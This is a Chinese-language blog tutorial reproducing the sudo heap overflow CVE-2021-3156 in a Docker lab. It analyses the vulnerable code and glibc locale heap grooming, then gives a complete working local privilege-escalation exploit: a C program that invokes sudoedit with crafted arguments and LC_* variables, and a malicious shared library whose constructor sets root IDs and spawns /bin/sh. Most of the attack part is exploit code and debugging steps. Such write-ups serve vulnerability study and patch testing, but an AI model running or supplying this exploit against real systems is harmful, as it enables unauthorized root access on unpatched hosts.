CVE復現之老洞新探(CVE-2021-3156)

合天网安实验室發表於2024-05-08

環境搭建

直接拉取合適的docker

docker 環境:

https://hub.docker.com/r/chenaotian/cve-2021-3156

下載glibc-2.27原始碼和sudo-1.8.21原始碼

漏洞分析

    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;
​
        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1; //計算command緩衝區的大小,每個command後面跟一個空格符
        if (size == 0 || (user_args = malloc(size)) == NULL) {  //分配堆塊,存放command
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }
        if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {  // 設定-s引數進入分支
        /*
         * When running a command via a shell, the sudo front-end
         * escapes potential meta chars.  We unescape non-spaces
         * for sudoers matching and logging purposes.
         */
        for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
            while (*from) {
            if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                from++; // 跳過反斜槓
            *to++ = *from++; // 複製反斜槓後面的字元
            } // 漏洞點在於當結尾是\且後面不是空格時,會from++一次,在複製完後還會from++,再去判斷while的條件,就跳過了0,造成了越界寫。
            *to++ = ' '; //每個command後面跟一個空格
        }
        *--to = '\0';
        } else {
        for (to = user_args, av = NewArgv + 1; *av; av++) {
            n = strlcpy(to, *av, size - (to - user_args));
            if (n >= size - (to - user_args)) {
            sudo_warnx(U_("internal error, %s overflow"), __func__);
            debug_return_int(-1);
            }
            to += n;
            *to++ = ' ';
        }
        *--to = '\0';
        }
    }
    }

Untitled

Untitled

Untitled

結合除錯,可以對漏洞的情況有更清楚的瞭解。引數以反斜槓結尾會導致寫入一個零位元組而繼續賦值下一個引數,在這裡有兩點:

①以反斜槓結尾可導致溢位

②以反斜槓作為引數可以寫入零位元組

同時,被溢位的那個堆塊的大小等於對應引數長度+1。

漏洞除錯

glibc原始碼

gdb exp
catch exec
b policy_check
b sudoers.c:846
​
b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398
​
b nss_load_library
gcc exp.c -o exp2 -lm

漏洞利用

1 利用目標

p ni

Untitled

可以發現service_user結構體在堆上

Untitled

堆塊大小為0x40

nss_load_library的函式呼叫流程和相關的資料結構機制

/* Load library.  */
static int
​
' (service_user *ni)
{
  if (ni->library == NULL) // ni->library等於0進入分支
    {
      /* This service has not yet been used.  Fetch the service
     library for it, creating a new one if need be.  If there
     is no service table from the file, this static variable
     holds the head of the service_library list made from the
     default configuration.  */
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                     ni->name); // 新建一個ni->library,並將成員初始化
      if (ni->library == NULL)
    return -1;
    }
​
  if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];
​
      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision); // shlib_name經過拼接得到 libnss_+ni->name+.so+__nss_shlib_revision
​
      ni->library->lib_handle = __libc_dlopen (shlib_name);// 載入動態庫
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

透過對nss_load_library原始碼的分析,發現這裡如果能將ni結構體的library覆蓋為0,name覆蓋成自己的so檔名,具體為libnss_XXX/test.so.2,其中libnss_是拼接的路徑,XXX/test是name的值,.so.2是拼接上去的,拼接後libnss_XXX/test.so.2表示當前路徑下libnss_XXX資料夾中的test.so.2,我們完成修改後,在當前路徑下建立對應的資料夾,將惡意檔案放到其中,更名為test.so.2,就能載入執行惡意檔案。

【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備註 “部落格園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

2 堆塊佈局

接下來,就是需要想辦法將這個service_user結構體放到存在溢位的堆塊下面。

這就來到了第二個問題,setlocale 如何透過環境變數LC_* 進行堆佈局。

// locale\setlocale.c
      /* Load the new data for each category.  */
      while (category-- > 0)
    if (category != LC_ALL)
      {
        newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames[category]);//透過_nl_find_locale函式去獲取環境變數的值,存放在newdata[category]中
​
        if (newdata[category] == NULL)
          {
#ifdef NL_CURRENT_INDIRECT
        if (newnames[category] == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.  */
          continue;
#endif
        break;
          }

首先是透過_nl_find_locale函式去獲取環境變數的值,存放在newdata[category]中

// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
         int category, const char **name)
{
    ......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:
​
        language[_territory[.codeset]][@modifier]
​
     Beside the first all of them are allowed to be missing.  If the
     full specified locale is not found, the less specific one are
     looked for.  The various part will be stripped off according to
     the following order:
        (1) codeset
        (2) normalized codeset
        (3) territory
        (4) modifier
   */
   //locale的命名規則為<語言>_<地區>.<字符集編碼>,如zh_CN.UTF-8,zh代表中文,CN代表大陸地區,UTF-8表示字符集。
   // C.UTF-8@AAAAAAAAA
  mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
               &codeset, &normalized_codeset);
               // 判斷四個部分那部分有缺失
  if (mask == -1)
    /* Memory allocate problem.  */
    return NULL;
​
  /* If exactly this locale was already asked for we have an entry with
     the complete name.  */
  locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                    locale_path, locale_path_len, mask,
                    language, territory, codeset,
                    normalized_codeset, modifier,
                    _nl_category_names.str
                    + _nl_category_name_idxs[category], 0);
​
  if (locale_file == NULL)
    {
      /* Find status record for addressed locale file.  We have to search
     through all directories in the locale path.  */
      locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                    locale_path, locale_path_len, mask,
                    language, territory, codeset,
                    normalized_codeset, modifier,
                    _nl_category_names.str
                    + _nl_category_name_idxs[category], 1);
      if (locale_file == NULL)
    /* This means we are out of core.  */
    return NULL;
    }

結合原始碼和相關資料,可以知道locale的命名規則為<語言>_<地區>.<字符集編碼>,如zh_CN.UTF-8,zh代表中文,CN代表大陸地區,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA

堆申請原語和堆釋放原語

// locale\setlocale.c
      /* Load the new data for each category.  */
      while (category-- > 0)
    if (category != LC_ALL)
      {
        newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                         category,
                         &newnames[category]);//透過_nl_find_locale函式去獲取環境變數的值,存放在newdata[category]中
​
        if (newdata[category] == NULL)
          {
#ifdef NL_CURRENT_INDIRECT
        if (newnames[category] == _nl_C_name)
          /* Null because it's the weak value of _nl_C_LC_FOO.  */
          continue;
#endif
        break;
          }
​
        /* We must not simply free a global locale since we have
           no control over the usage.  So we mark it as
           un-deletable.  And yes, the 'if' is needed, the data
           might be in read-only memory.  */
        if (newdata[category]->usage_count != UNDELETABLE)
          newdata[category]->usage_count = UNDELETABLE;
​
        /* Make a copy of locale name.  */
        if (newnames[category] != _nl_C_name)
          {
        if (strcmp (newnames[category],
                _nl_global_locale.__names[category]) == 0)
          newnames[category] = _nl_global_locale.__names[category];
        else
          {
            newnames[category] = __strdup (newnames[category]);
            //使用__strdup函式在堆記憶體中分配空間,並將newdata[category]複製進去
            if (newnames[category] == NULL)
              break;
          }
          }
      }
​
      /* Create new composite name.  */
      composite = (category >= 0
           ? NULL : new_composite_name (LC_ALL, newnames));
      if (composite != NULL)
    {
      /* Now we have loaded all the new data.  Put it in place.  */
      for (category = 0; category < __LC_LAST; ++category)
        if (category != LC_ALL)
          {
        setdata (category, newdata[category]);
        setname (category, newnames[category]);
          }
      setname (LC_ALL, composite);
​
      /* We successfully loaded a new locale.  Let the message catalog
         functions know about this.  */
      ++_nl_msg_cat_cntr;
    }
      else
    for (++category; category < __LC_LAST; ++category)
      if (category != LC_ALL && newnames[category] != _nl_C_name
          && newnames[category] != _nl_global_locale.__names[category])
        free ((char *) newnames[category]);
        //這裡就是堆塊釋放的原語了,只要有一個區域設定的值不符合規範,則將之前所有申請的堆塊都釋放掉

先使用__strdup函式在堆記憶體中分配空間,並將newdata[category]複製進去,其中

char * __strdup(const char *s)
{
   size_t  len = strlen(s) +1;
   void *new = malloc(len);
   if (new == NULL)
      return NULL;
   return (char *)memecpy(new,s,len);
}

然後當遇到不合法的區域的值時,就會將前面申請的堆都free掉。

locale把按照所涉及到的使用習慣的各個方面分成12個大類,這12個大類分別是:

1、語言符號及其分類(LC_CTYPE) 
​
2、數字(LC_NUMERIC) 
​
3、比較和習慣(LC_COLLATE) 
​
4、時間顯示格式(LC_TIME) 
​
5、貨幣單位(LC_MONETARY) 
​
6、資訊主要是提示資訊,錯誤資訊,狀態資訊,標題,標籤,按鈕和選單等(LC_MESSAGES) 
​
7、姓名書寫方式(LC_NAME) 
​
8、地址書寫方式(LC_ADDRESS) 
​
9、電話號碼書寫方式(LC_TELEPHONE) 
​
10、度量衡表達方式 (LC_MEASUREMENT) 
​
11、預設紙張尺寸大小(LC_PAPER) 
​
12、對locale自身包含資訊的概述(LC_IDENTIFICATION)。

對應

"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"

其中,處理是從下往上的順序處理的,所以在傳參的時候要注意一下順序,不然最開始就錯誤全部釋放掉了。

接下里就是想要如何將一個service_user申請到前面我的堆塊前面

可以在申請service_user前,先利用堆申請原語和堆釋放原語挖好坑。由於知道service_user的chunk大小是0x40,而我們堆溢位的chunk的大小可以自己控制,只要保證大小對應,就可以了。

透過動態除錯可以明確__strdup的引數是C.UTF-8@XXXXXX,所以得到的堆塊size是引數長度+1,利用下面指令碼生成目標size的內容。

length = 0x38
while(length < 0x100):
    tail = 'C.UTF-8@'
    # length = 0x48
    q = "a"*(length-2)+"\\"
    p = tail+'a'*(length-1-len(tail))
    print(hex(length))
    print(q)
    print(p)
    length += 0x10

經過測試,先按照0x40,0x40,0xa0,0x40的順序設定4個,再設定一個不合法的,可以在中間一些無法避免的堆塊操作後得到一個可利用的堆排布。最後設定一個非法的值。

"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"

其中0xa0是為堆溢位的堆塊留的坑

    /* set user_args */
    if (NewArgc > 1) {
        char *to, *from, **av;
        size_t size, n;
​
        /* Alloc and build up user_args. */
        for (size = 0, av = NewArgv + 1; *av; av++)
        size += strlen(*av) + 1;
        if (size == 0 || (user_args = malloc(size)) == NULL) {
        sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
        debug_return_int(-1);
        }

在malloc前下斷點·

b sudoers.c:849

檢視bins,可以看到tcachebins中0xa0正好有一個堆塊

Untitled

然後在nss_load_library下斷點,檢視service_user

b nss_load_library
p ni
​

Untitled

可以看到前面0xa0的堆塊在service_user的前面,這樣就可以透過溢位覆蓋name欄位

所以填坑的引數按照前面的分析應該是

"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"

綜合得到如下初步exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
​
#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12
​
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
​
int main()
{
    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
    char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
    execve("/usr/local/bin/sudoedit",argv,env);
}
​

3 溢位利用

Untitled

當前exp把XXX/test寫到了0x555555623b07

Untitled

此時的service_user在0x5555556241b0,name的偏移是0x30

start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
    print('"\\\\"',end=',')   

前面知道以反斜槓作為單獨的引數,能夠寫入\x00,由於這裡需要把library欄位覆蓋為0,所以透過上述程式碼生成相應數量的反斜槓,並填在XXX/test前,將XXX/test填入name的同時將library填為0。

共1753個反斜槓

exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
​
#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12
​
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
​
int main()
{
    char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
    char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
    execve("/usr/local/bin/sudoedit",argv,env);
}
​

Untitled

覆蓋結果如上

拼接完成後會執行

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);
​
      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library.  */
      ni->library->lib_handle = (void *) -1l;
      __set_errno (saved_errno);
    }

透過__libc_dlopen開啟檔案

Untitled

4 提權收工

最後編譯後門test.so.2,並放入libnss_XXX資料夾

這裡借用CVE-2021-3156:sudo堆溢位提權漏洞分析-騰訊雲開發者社群-騰訊雲 (tencent.com)中的程式碼

#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
​
#define EXECVE_SHELL_PATH "/bin/sh"
​
static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};
​
void pop_shell(void) {
    printf("[+] executed!\n");
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    if(getuid() == 0) {
        puts("[+] we are root!");
    } else {
        puts("[-] something went wrong!");
        exit(0);
    }
​
    execve(EXECVE_SHELL_PATH, n, n);
}
gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2

提權效果

Untitled

總結

這個老洞新探,還是挺有意思的, 從原始碼分析到動態除錯,整個過程對程式除錯的能力有很大的鍛鍊。在這個洞的利用中,思路是比較清晰的,但在堆排布那裡,由於中間會有很多其他的堆塊操作是我們不可控,就會存在較大困難,要麼透過逆向分析梳理所有的堆塊操作然後手動構造,要麼就是透過fuzz。前者費時費力,而且存在很多問題,後者需要對fuzz進行一定的學習。在盲目手動構造的過程中,好不容易在service_user之前留下了坑,但還是遇到了幾種情況,一是在沒有加溢位的時候的service_user結構體的地址和加了溢位字元後的不一樣,二是在根本走不到nss_load_library就崩潰了,三是修改了最近的一個service_user結構體,但並沒有用。

總的來說,這個洞還有很多可以學習的地方,後面學學fuzz後再來試試這個洞。

更多網安技能的線上實操練習,請點選這裡>>

相關文章